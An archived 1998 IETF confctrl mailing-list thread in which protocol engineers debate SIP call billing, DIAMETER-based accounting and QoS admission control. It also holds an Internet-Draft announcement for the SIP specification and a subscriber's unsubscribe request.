Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Dean Willis wrote:
> 
> Why can't service providers make a living providing (at a fixed cost)
> access to "free services"? Do carriers do per HTTP-transfer billing now?
> How much should they charge for an email? For a call, what parameters
> might be used? Bandwidth, duration, distance -- the Big Factors of the
> POTS bill -- are not issues that SIP is concerned with.
> 
> The real question: Is it even reasonable to presume billing for a
> best-effort IP service betwen two nodes? I suggest not. If carriers were
> to try, the end-users would just tunnel around the billable parts . . .
> 
> I suggest telco-style per-call billing driven completely from SIP is
> therefore pointless. But the costs of some calls are incremental -- how
> to recover them and make a reasonable presentation of it?
> 
> Perhaps the appropriate elements to support in a billing model are the
> "value adds". These might include:
> 
> At the network level, bandwidth reserved for the call, the duration for
> which it is reserved, and other quality issues. These matters are not
> properly the province of SIP, but are handled through RSVP and
> Differentiated Services models. Some sort of admission control to the
> bandwidth management function is required, and that might be expected to
> generate accounting records. It would seem that this is a basic AAA
> function and that it requires some sort of business relationship between
> the caller and the carrier or the callee and the carrier (or both). Of
> course, in the interim, it can be handled using log files.
> 
> At the bearer channel (call) level, going through a gateway that
> connects the SIP caller to the GSTN is certainly a chargeable feature --
> after all, the call IS going to generate some sort of standard switch
> CDR once it hits the egress switch. For this, of course, we need AAA --
> again, with a business relationship. The same applies to other gateway
> functions, such as firewall traversal. One could of course bill from
> those CDRs. . .
> 
> Directory operations, such as SIP proxy lookups, might be chargeable
> features. Of course, this can be performed using SIP-server logs, but
> centralizing in a AAA system might be handy. The same applies to
> manipulations of the directory, such as customer profile management.
> Again, the log files could tell you everything needed to bill, but an
> AAA approach would be nicer.
> 
> Other sorts of media operations, such as retrieving or storing voice
> mail, transcoding a stream, etc. might be chargeable and require the
> same basic AAA functions. These operations all produce log files . . .
> 
> Given all this, I suggest that while smooth AAA integration would be
> helpful in building a seamless carrier delivery environment, that its
> current lack does not preclude delivery of SIP services by a carrier.

Well said. I agree on all points.

> 
> With respect to "draft-pan-diameter-sip-00.txt" -- it's a start. Is it
> really necessary to add DIAMETER into SIP, or could we just let each of
> the "value add" function providers apply DIAMETER on its own, using the
> SIP mechanisms for authentication source, then recording the transaction
> using the "accounting" parts?

I don't think this draft is proposing to add DIAMETER into SIP, but
rather a way to add SIP authorization to DIAMETER (big difference).

-Jonathan R.

-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX:   (732) 834-5379                       Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Fri Nov 13 15:09:02 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id PAA01760
	for confctrl-outgoing; Fri, 13 Nov 1998 15:09:02 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id PAA01753
	for <confctrl@zephyr.isi.edu>; Fri, 13 Nov 1998 15:09:00 -0800 (PST)
Received: from omzrelay.mcit.com (omzrelay.mcit.com [166.37.204.49])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id PAA08052
	for <confctrl@ISI.EDU>; Fri, 13 Nov 1998 15:08:58 -0800 (PST)
Received: from omta1.mcit.com (omta1.mcit.com [166.37.204.2])
          by omzrelay.mcit.com (8.8.7/) with ESMTP
	  id RAA22002 for <confctrl@ISI.EDU>; Fri, 13 Nov 1998 17:08:26 -0600 (CST)
Received: from dwillispc2 ([166.35.227.233]) by omta1.mcit.com
          (InterMail v03.02.05 118 121 101) with SMTP
          id <19981113230711.MSWI9982@dwillispc2>;
          Fri, 13 Nov 1998 17:07:11 -0600
From: "Dean Willis" <Dean.Willis@MCI.COM>
To: "Conference Control List" <confctrl@ISI.EDU>
Subject: Re Re: SIP billing ( was  Re: What is the view towards H.323?)
Date: Fri, 13 Nov 1998 17:05:40 -0600
Message-ID: <001701be0f5a$226e9ba0$72fdfea9@dwillispc2.mcit.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


Jonathan Rosenberg wrote:
>Well said. I agree on all points.
Thanks!

Jonathan Rosenberg went on to say:
> Dean Willis wrote:
>> With respect to "draft-pan-diameter-sip-00.txt" -- it's a start. Is
it
>> really necessary to add DIAMETER into SIP, or could we just let each
of
>> the "value add" function providers apply DIAMETER on its own, using
the
>> SIP mechanisms for authentication source, then recording the
transaction
>> using the "accounting" parts?

>I don't think this draft is proposing to add DIAMETER into SIP, but
>rather a way to add SIP authorization to DIAMETER (big difference).

You're absolutely right -- I transposed my nouns in the first posting.
Apologies! I was however questioning the implications of the following
passage from the draft:

--quote--
3.5. Server Considerations
   DIAMETER/SIP policy servers may or may not support SIP protocol.  As
   a result, clients have the option to either 1) send the entire SIP
   message to the servers, or 2) parse the SIP message first and send
   pre-defined SIP AVP's to the servers.
--endquote--

At first reading, I'm not terribly comfortable with having yet another
server that needs a complete rebuild every time SIP deltas. I rather
prefer option 2, and keeping the interface to very clean AVPs.

--
Dean Willis

Dean.Willis@MCI.COM
MCI Data Architecture LOC 1916/041
IP Telephony Architecture and Standards
voice  972-729-4162 or v 772-4162
page   888-266-1761
fax    972-729-3034


From confctrl-owner  Fri Nov 13 15:40:20 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id PAA06542
	for confctrl-outgoing; Fri, 13 Nov 1998 15:40:20 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id PAA06522
	for <confctrl@zephyr.isi.edu>; Fri, 13 Nov 1998 15:40:10 -0800 (PST)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id PAA11367
	for <confctrl@ISI.EDU>; Fri, 13 Nov 1998 15:40:08 -0800 (PST)
Received: from zubin.dnrc.bell-labs.com ([135.180.130.56]) by dirty; Fri Nov 13 18:36:02 EST 1998
Received: from dnrc.bell-labs.com ([135.252.15.22])
	by zubin.dnrc.bell-labs.com (8.8.8/8.8.8) with ESMTP id SAA12687;
	Fri, 13 Nov 1998 18:35:57 -0500 (EST)
Message-ID: <364CC2E8.FDBD63AB@dnrc.bell-labs.com>
Date: Sat, 14 Nov 1998 07:38:16 +0800
From: Ping Pan <pingpan@dnrc.bell-labs.com>
Organization: Bell Labs, Lucent Technologies
X-Mailer: Mozilla 4.07 [en] (Win95; U)
MIME-Version: 1.0
To: Dean Willis <Dean.Willis@MCI.COM>
CC: Conference Control List <confctrl@ISI.EDU>
Subject: Re: SIP billing ( was  Re: What is the view towards H.323?)
References: <000601be0f45$1f291a20$72fdfea9@dwillispc2.mcit.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Dean Willis wrote:

> Why can't service providers make a living providing (at a fixed cost)
> access to "free services"? Do carriers do per HTTP-transfer billing now?
> How much should they charge for an email? For a call, what parameters
> might be used? Bandwidth, duration, distance -- the Big Factors of the
> POTS bill -- are not issues that SIP is concerned with.
>
> The real question: Is it even reasonable to presume billing for a
> best-effort IP service betwen two nodes? I suggest not. If carriers were
> to try, the end-users would just tunnel around the billable parts . . .
>

Dean,

SIP is a control level protocol. To deliver real-time voice over the
Internet, we need to do more at data path. IMHO, it'll be very unlikely that
real-time voice traffic should be treated as best-effort in the future.
Rather, at network edge, voice data needs to be aggregated into DiffServ
trunks, and be treated as either Assured Service packets with high priority
or simply Expedited Forwarding packets. Treating voice better than
best-effort means allocating more network resource, and means more cost to
the ISP's. Given that's what I have in mind, here is the question: how can
regional IP-phone providers keeping track of the user's phone calls?

The SIP-DIAMETER draft is designed to allow IP-telephony providers to
interface with SIP and keep track of all SIP sessions for a) admission
control, and 2) accounting. The draft does not say anything about how to do
billing, which can be specific for each service provider. Providers should
simply use the accounting information for whatever the billing models they
like.

There is another piece of work that we didn't specify in the draft, that is,
after a SIP session is granted, how can the service provider pin-down a data
path for two involved SIP parties? We're currently working on that.

>
> At the network level, bandwidth reserved for the call, the duration for
> which it is reserved, and other quality issues. These matters are not
> properly the province of SIP, but are handled through RSVP and
> Differentiated Services models. Some sort of admission control to the
> bandwidth management function is required, and that might be expected to
> generate accounting records. It would seem that this is a basic AAA
> function and that it requires some sort of business relationship between
> the caller and the carrier or the callee and the carrier (or both). Of
> course, in the interim, it can be handled using log files.
>

Again, interfacing SIP, RSVP and DiffServ may be tricky here: SIP messages
may go through a completely different path from what actual data (managed
via RSVP, RTP, etc.) may traverse. For the complete admission control and
bandwidth management package, we need to combine SIP-DIAMETER information
with RAP (RSVP Admission Control) server information together. (It will be
nice if you can all use the same protocol, :-) but this is another story.)

> Directory operations, such as SIP proxy lookups, might be chargeable
> features. Of course, this can be performed using SIP-server logs, but
> centralizing in a AAA system might be handy. The same applies to
> manipulations of the directory, such as customer profile management.
> Again, the log files could tell you everything needed to bill, but an
> AAA approach would be nicer.
>

Lost me here. I thought that SIP directory lookup takes place prior to the
actual SIP invitation process. The admission control and accounting apply
only during and after SIP invitation. Also directory lookup should be free
(unless you want to charge DNS operation in the internet).


> Other sorts of media operations, such as retrieving or storing voice
> mail, transcoding a stream, etc. might be chargeable and require the
> same basic AAA functions. These operations all produce log files . . .
>

Not really. If data is not real-time, send them over the net as best-effort.
No need for RSVP, DiffServ and per-session accounting.

Regards,

--
Ping Pan



From confctrl-owner  Fri Nov 13 15:56:13 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id PAA10231
	for confctrl-outgoing; Fri, 13 Nov 1998 15:56:13 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id PAA10221
	for <confctrl@zephyr.isi.edu>; Fri, 13 Nov 1998 15:56:10 -0800 (PST)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id PAA12688
	for <confctrl@ISI.EDU>; Fri, 13 Nov 1998 15:56:08 -0800 (PST)
Received: from zubin.dnrc.bell-labs.com ([135.180.130.56]) by dirty; Fri Nov 13 18:52:28 EST 1998
Received: from dnrc.bell-labs.com ([135.252.15.22])
	by zubin.dnrc.bell-labs.com (8.8.8/8.8.8) with ESMTP id SAA13241;
	Fri, 13 Nov 1998 18:52:24 -0500 (EST)
Message-ID: <364CC6C2.D24837F3@dnrc.bell-labs.com>
Date: Sat, 14 Nov 1998 07:54:42 +0800
From: Ping Pan <pingpan@dnrc.bell-labs.com>
Organization: Bell Labs, Lucent Technologies
X-Mailer: Mozilla 4.07 [en] (Win95; U)
MIME-Version: 1.0
To: Dean Willis <Dean.Willis@MCI.COM>
CC: Conference Control List <confctrl@ISI.EDU>
Subject: Re: Re Re: SIP billing ( was  Re: What is the view towards H.323?)
References: <001701be0f5a$226e9ba0$72fdfea9@dwillispc2.mcit.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Dean Willis wrote:

> --quote--
> 3.5. Server Considerations
>    DIAMETER/SIP policy servers may or may not support SIP protocol.  As
>    a result, clients have the option to either 1) send the entire SIP
>    message to the servers, or 2) parse the SIP message first and send
>    pre-defined SIP AVP's to the servers.
> --endquote--
>
> At first reading, I'm not terribly comfortable with having yet another
> server that needs a complete rebuild every time SIP deltas. I rather
> prefer option 2, and keeping the interface to very clean AVPs.

Hi, Dean,

I have to admit that we only had option (2) in mind at beginning, :-) then
added option (1) later on for the following reasons:

1) SIP INVITE message has a lot of information that may or may not be
useful for accounting. A DIAMETER client can either somehow be informed on
what to parse, or just parse the entire SIP payload and package them into a
bunch of AVPs before sending them up to the policy server. If that's the
case, why not just send the entire packet up?

2) As SIP getting better, more and more features may be added into the
INVITE message. Unless we want to upgrade all SIP-DIAMETER interface every
time when a new feature being defined, we can always rely on option (1) to
send up total information to the servers.

I'm not sure which way is better. We had had a similar argument during COPS
(RAP protocol) design long time back.

Anyway, there are still a lot of stuff that needs to be worked out. Let's
get it going together. :-)

Thanks!

- Ping


From confctrl-owner  Fri Nov 13 16:31:52 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id QAA13161
	for confctrl-outgoing; Fri, 13 Nov 1998 16:31:52 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id QAA12896
	for <confctrl@zephyr.isi.edu>; Fri, 13 Nov 1998 16:31:35 -0800 (PST)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id QAA15803
	for <confctrl@ISI.EDU>; Fri, 13 Nov 1998 16:31:34 -0800 (PST)
Received: from cs.columbia.edu (erlang.cs.columbia.edu [128.59.19.141])
	by cs.columbia.edu (8.9.1/8.9.1) with ESMTP id TAA11929;
	Fri, 13 Nov 1998 19:31:31 -0500 (EST)
Message-ID: <364CCF63.AFBA6A1B@cs.columbia.edu>
Date: Fri, 13 Nov 1998 19:31:31 -0500
From: Henning Schulzrinne <hgs@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.5 [en] (X11; I; SunOS 5.6 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: Dean Willis <Dean.Willis@MCI.COM>
CC: Conference Control List <confctrl@ISI.EDU>
Subject: Re: Re Re: SIP billing ( was  Re: What is the view towards H.323?)
References: <001701be0f5a$226e9ba0$72fdfea9@dwillispc2.mcit.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Dean Willis wrote:
> 
> Jonathan Rosenberg wrote:
> >Well said. I agree on all points.
> Thanks!

And integrated into the SIP FAQ at http://www.cs.columbia.edu/~hgs/sip


> 
> At first reading, I'm not terribly comfortable with having yet another
> server that needs a complete rebuild every time SIP deltas. I rather
> prefer option 2, and keeping the interface to very clean AVPs.

Agreed; there's a trade-off in that transcoding to AVPs means that only
certain header field information will be made available to the server.
Plus, all the transcoding into AVPs (e.g., for the authentication
header) is a bit of a pain. In the first approach, if a new
billing-related SIP header field needs to be defined, the SIP server can
stay the same (it doesn't need to know about the field anyway), and the
new field will be passed to the billing server as is. One solution would
be to do both:

- define standard, protocol (SIP/H.323)-independent fields (probably
containing information in the From and To and possibly a few other
fields; for example?)

- just in case, allow transport of SIP requests as-is for
special-purpose applications.

Henning

From confctrl-owner  Sun Nov 15 23:09:41 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id XAA07671
	for confctrl-outgoing; Sun, 15 Nov 1998 23:09:41 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id XAA07666
	for <confctrl@zephyr.isi.edu>; Sun, 15 Nov 1998 23:09:40 -0800 (PST)
Received: from ndcrelay.mcit.com (ndcrelay.mcit.com [166.37.172.49])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id XAA12837
	for <confctrl@ISI.EDU>; Sun, 15 Nov 1998 23:09:39 -0800 (PST)
Received: from omta1.mcit.com (omta1.mcit.com [166.37.204.2])
          by ndcrelay.mcit.com (8.8.7/) with ESMTP
	  id CAA05918; Mon, 16 Nov 1998 02:09:05 -0500 (EST)
Received: from dwillispc2 ([166.44.155.49]) by omta1.mcit.com
          (InterMail v03.02.05 118 121 101) with SMTP
          id <19981116070904.CTUA5890@dwillispc2>;
          Mon, 16 Nov 1998 01:09:04 -0600
From: "Dean Willis" <Dean.Willis@MCI.COM>
To: "Ping Pan" <pingpan@dnrc.bell-labs.com>
Cc: "Conference Control List" <confctrl@ISI.EDU>
Subject: RE: SIP billing ( was  Re: What is the view towards H.323?)
Date: Mon, 16 Nov 1998 01:07:17 -0600
Message-ID: <000101be112f$bedc5b40$2e15fea9@dwillispc2>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3
In-reply-to: <364CC2E8.FDBD63AB@dnrc.bell-labs.com>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


Excellent discussion!

Ping Pan wrote:
> Dean Willis wrote
> > Why can't service providers make a living providing (at a
> fixed cost)
> > access to "free services"? Do carriers do per HTTP-transfer
> billing now?
. . .
> SIP is a control level protocol. To deliver real-time voice over the
> Internet, we need to do more at data path. IMHO, it'll be
> very unlikely that
> real-time voice traffic should be treated as best-effort in
> the future.
> Rather, at network edge, voice data needs to be aggregated
> into DiffServ . . .
> trunks, and be treated as either Assured Service packets with
> high priority
> or simply Expedited Forwarding packets. Treating voice better than
> best-effort means allocating more network resource, and means
> more cost to
> the ISP's. Given that's what I have in mind, here is the
> question: how can
> regional IP-phone providers keeping track of the user's phone calls?

Exactly my point. They (carriers) can track the bandwidth reservations
at the policy edge, but can't track the Internet phone calls. The
carriers DON'T REALLY KNOW that a stream is a phone call. If the network
is good enough, I can tunnel RTP through DNS . . . but the carriers MUST
KNOW about a bandwidth reservation in order to suport adequate QoS.
Don't care if sumebody plays a real time game or does voice chat -- do
care that they need 56kbps assured delivery for 20 minutes between nodes
in locations A and B. Whole different story if a GSTN gateway is
handling a call leg . . .

> There is another piece of work that we didn't specify in the
> draft, that is,
> after a SIP session is granted, how can the service provider
> pin-down a data
> path for two involved SIP parties? We're currently working on that.

Again, the carrier doesn't really care about the call setup-- the RTP
nodes just request bandwidth reservations to the other end.  The data
path is not nailed up -- the actual network topology may change during
the call. The only requirement is that the quality contract be
maintained. The QoS channel is the interesting part for the carrier. SIP
was just the dating service to bring them together, and unless a SIP
endpoint (or midpoint) happens to be a value-added service provided by
the carrier, the fact that two Internet nodes exchanged best-effort
packets is not worth tracking.

> Again, interfacing SIP, RSVP and DiffServ may be tricky here:
> SIP messages
> may go through a completely different path from what actual
> data (managed
> via RSVP, RTP, etc.) may traverse. For the complete admission
> control and
> bandwidth management package, we need to combine SIP-DIAMETER
> information
> with RAP (RSVP Admission Control) server information
> together. (It will be
> nice if you can all use the same protocol, :-) but this is
> another story.)

Don't tie them together that way. Really, what I'm fishing for here is a
way to completely separate the media stream from the call control. I
should be able to use vendor A's call control (maybe SIP, maybe H.323,
maybe something else) with vendor B's (RTP or otherwise) bearer channel
application (which makes its own RAP request for QoS) with nothing but a
simple exec/return interface between the two, and enough information in
a config file for SIP to be able to do session description and
capability negotiation.

> > Directory operations, such as SIP proxy lookups, might be chargeable
> > features. Of course, this can be performed using SIP-server
> logs, but
> > centralizing in a AAA system might be handy. The same applies to
> > manipulations of the directory, such as customer profile managemnt.
> > Again, the log files could tell you everything needed to
> bill, but an
> > AAA approach would be nicer.
>
> Lost me here. I thought that SIP directory lookup takes place
> prior to the
> actual SIP invitation process. The admission control and
> accounting apply
> only during and after SIP invitation. Also directory lookup
> should be free
> (unless you want to charge DNS operation in the internet).

Local carriers charge for yellow pages and for directory services
information. There may well be an Internet carrier requirement to
account for this service category. This is especially true if one
extends the model to richer call control services: access filtering
(time, source, or identity based), follow-me services, user profiling,
profile management, and so on. Perhaps an end user would like to KNOW
how many calls were rejected by his junk-call SPAM filter this month.
Advertisers might need to know EXACTLY how many times a particular alias
used in an ad campaign is resolved and know what the distribution of
those resolutions was in each time zone reletive to deliveries of
television ads. For managing user profiles, we need to know when access
are being made and where they are coming from to handle capacity
planning issues. In general, directory access accounting is a key area
for telephony metrics.

> > Other sorts of media operations, such as retrieving or storing voice
> > mail, transcoding a stream, etc. might be chargeable and require the
> > same basic AAA functions. These operations all produce log
> files . . .
> Not really. If data is not real-time, send them over the net
> as best-effort.
> No need for RSVP, DiffServ and per-session accounting.

True in general, but there may be more real-time data than you think.

Retreiving and storing voice mail are real-time operations assuming that
the media server is network-located and remotely (RTSP) controlled. QoS
and accounting are definitely called for. Example: Provide web interface
to voice mail for roaming users, messages presented as RTP streams
controlled via RTSP. Accounting is really critical if the services in
question are provided by a third party on some kind of piece-work basis.
Transcoding, such as in the event of a low-bitrate client participating
a in a high bitrate conference through the use of an intermediary
server, is also a real-time service. It is especially interesting as it
involves multiple call legs with potentially disparate QoS requirements.

--
Dean


From confctrl-owner  Mon Nov 16 08:22:51 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA25657
	for confctrl-outgoing; Mon, 16 Nov 1998 08:22:51 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA25652
	for <confctrl@zephyr.isi.edu>; Mon, 16 Nov 1998 08:22:49 -0800 (PST)
Received: from ietf.org (odin.ietf.org [132.151.1.176])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id IAA01506
	for <confctrl@isi.edu>; Mon, 16 Nov 1998 08:22:47 -0800 (PST)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.8.5/8.8.7a) with ESMTP id LAA04036;
	Mon, 16 Nov 1998 11:22:13 -0500 (EST)
Message-Id: <199811161622.LAA04036@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
Cc: confctrl@ISI.EDU
From: Internet-Drafts@ietf.org
Reply-to: Internet-Drafts@ietf.org
Subject: I-D ACTION:draft-ietf-mmusic-sip-10.txt,.ps
Date: Mon, 16 Nov 1998 11:22:13 -0500
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--NextPart

Note: This revision reflects comments received during the last call period.

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Multiparty Multimedia Session Control 
Working Group of the IETF.

	Title		: SIP: Session Initiation Protocol
	Author(s)	: M. Handley, H. Schulzrinne, E. Schooler, J. Rosenberg
	Filename	: draft-ietf-mmusic-sip-10.txt,.ps
	Pages		: 136
	Date		: 13-Nov-98
	
The Session Initiation Protocol (SIP) is an application-
layer control (signaling) protocol for creating, 
modifying and terminating sessions with one or more 
participants. These sessions include Internet multimedia 
conferences, Internet telephone calls and multimedia  
distribution. Members in a session can communicate via 
multicast or via a mesh of unicast relations, or a 
combination of these.

SIP invitations used to create sessions carry session 
descriptions which allow participants to agree on a set 
of compatible media types. It supports user mobility by 
proxying and redirecting requests to the user's current 
location. Users can register their current location. SIP 
is not tied to any particular conference control 
protocol. SIP is designed to be independent of the 
lower-layer transport protocol and can be extended 
with additional capabilities.

This document is a product of the Multi-party Multimedia
Session Control (MMUSIC) working group of the Internet
Engineering Task Force.  Comments are solicited and
should be addressed to the working group's mailing list
at confctrl@isi.edu and/or the authors.

Internet-Drafts are available by anonymous FTP.  Login with the username
"anonymous" and a password of your e-mail address.  After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-mmusic-sip-10.txt".
A URL for the Internet-Draft is:
ftp://ftp.ietf.org/internet-drafts/draft-ietf-mmusic-sip-10.txt

Internet-Drafts directories are located at:

	Africa:	ftp.is.co.za
	
	Europe: ftp.nordu.net
		ftp.nic.it
			
	Pacific Rim: munnari.oz.au
	
	US East Coast: ftp.ietf.org
	
	US West Coast: ftp.isi.edu

Internet-Drafts are also available by mail.

Send a message to:	mailserv@ietf.org.  In the body type:
	"FILE /internet-drafts/draft-ietf-mmusic-sip-10.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<19981116105750.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-mmusic-sip-10.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-mmusic-sip-10.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<19981116105750.I-D@ietf.org>

--OtherAccess--

--NextPart--



From confctrl-owner  Mon Nov 16 10:29:00 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id KAA02160
	for confctrl-outgoing; Mon, 16 Nov 1998 10:29:00 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id KAA02154
	for <confctrl@zephyr.isi.edu>; Mon, 16 Nov 1998 10:28:59 -0800 (PST)
Received: from ml.263.net ([202.96.44.7])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id KAA12359
	for <confctrl@isi.edu>; Mon, 16 Nov 1998 10:28:54 -0800 (PST)
Received: (fmail 14519 invoked from network); 16 Nov 1998 18:31:48 -0000
Received: from unknown (HELO db.263.net) (202.96.44.6)
  by ml with SMTP; 16 Nov 1998 18:31:48 -0000
Received: (fmail 4681 invoked from network); 16 Nov 1998 18:33:07 -0000
Received: from unknown (HELO martin) (202.99.47.32)
  by db.263.net with SMTP; 16 Nov 1998 18:33:07 -0000
Message-ID: <007401be10c5$d39aeca0$202f63ca@martin>
From: "=?gb2312?B?tqG2oQ==?=" <big.martin@263.net>
To: <confctrl@ISI.EDU>
Subject: I REALLY WANT TO KNOW THAT HOW COULD I CANCEL THE MESSAGES FROM THIS MAILING LIST
Date: Mon, 16 Nov 1998 02:29:04 +0800
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 4.72.3110.5
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3
Content-Type: text/plain;
	boundary="NextPart";
	charset="gb2312"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hello.
I'm so sorry for this mail,it nothing,
BUT I REALLY WANT TO KNOW THAT HOW COULD I CANCEL THE MESSAGES FROM THIS
MAILING LIST.
Can U tell me?
Thank U.



>Note: This revision reflects comments received during the last call period.
>
>A New Internet-Draft is available from the on-line Internet-Drafts
directories.
>This draft is a work item of the Multiparty Multimedia Session Control
>Working Group of the IETF.
>
> Title : SIP: Session Initiation Protocol
> Author(s) : M. Handley, H. Schulzrinne, E. Schooler, J. Rosenberg
> Filename : draft-ietf-mmusic-sip-10.txt,.ps
> Pages : 136
> Date : 13-Nov-98
>
>The Session Initiation Protocol (SIP) is an application-
>layer control (signaling) protocol for creating,
>modifying and terminating sessions with one or more
>participants. These sessions include Internet multimedia
>conferences, Internet telephone calls and multimedia
>distribution. Members in a session can communicate via
>multicast or via a mesh of unicast relations, or a
>combination of these.
>
>SIP invitations used to create sessions carry session
>descriptions which allow participants to agree on a set
>of compatible media types. It supports user mobility by
>proxying and redirecting requests to the user's current
>location. Users can register their current location. SIP
>is not tied to any particular conference control
>protocol. SIP is designed to be independent of the
>lower-layer transport protocol and can be extended
>with additional capabilities.
>
>This document is a product of the Multi-party Multimedia
>Session Control (MMUSIC) working group of the Internet
>Engineering Task Force.  Comments are solicited and
>should be addressed to the working group's mailing list
>at confctrl@isi.edu and/or the authors.
>
>Internet-Drafts are available by anonymous FTP.  Login with the username
>"anonymous" and a password of your e-mail address.  After logging in,
>type "cd internet-drafts" and then
> "get draft-ietf-mmusic-sip-10.txt".
>A URL for the Internet-Draft is:
>ftp://ftp.ietf.org/internet-drafts/draft-ietf-mmusic-sip-10.txt
>
>Internet-Drafts directories are located at:
>
> Africa: ftp.is.co.za
>
> Europe: ftp.nordu.net
> ftp.nic.it
>
> Pacific Rim: munnari.oz.au
>
> US East Coast: ftp.ietf.org
>
> US West Coast: ftp.isi.edu
>
>Internet-Drafts are also available by mail.
>
>Send a message to: mailserv@ietf.org.  In the body type:
> "FILE /internet-drafts/draft-ietf-mmusic-sip-10.txt".
>
>NOTE: The mail server at ietf.org can return the document in
> MIME-encoded form by using the "mpack" utility.  To use this
> feature, insert the command "ENCODING mime" before the "FILE"
> command.  To decode the response(s), you will need "munpack" or
> a MIME-compliant mail reader.  Different MIME-compliant mail readers
> exhibit different behavior, especially when dealing with
> "multipart" MIME messages (i.e. documents which have been split
> up into multiple messages), so check your local documentation on
> how to manipulate these messages.
>
>
>Below is the data which will enable a MIME compliant mail reader
>implementation to automatically retrieve the ASCII version of the
>Internet-Draft.
>


From confctrl-owner  Mon Nov 16 14:19:26 1998
Return-Path: <owner-confctrl>
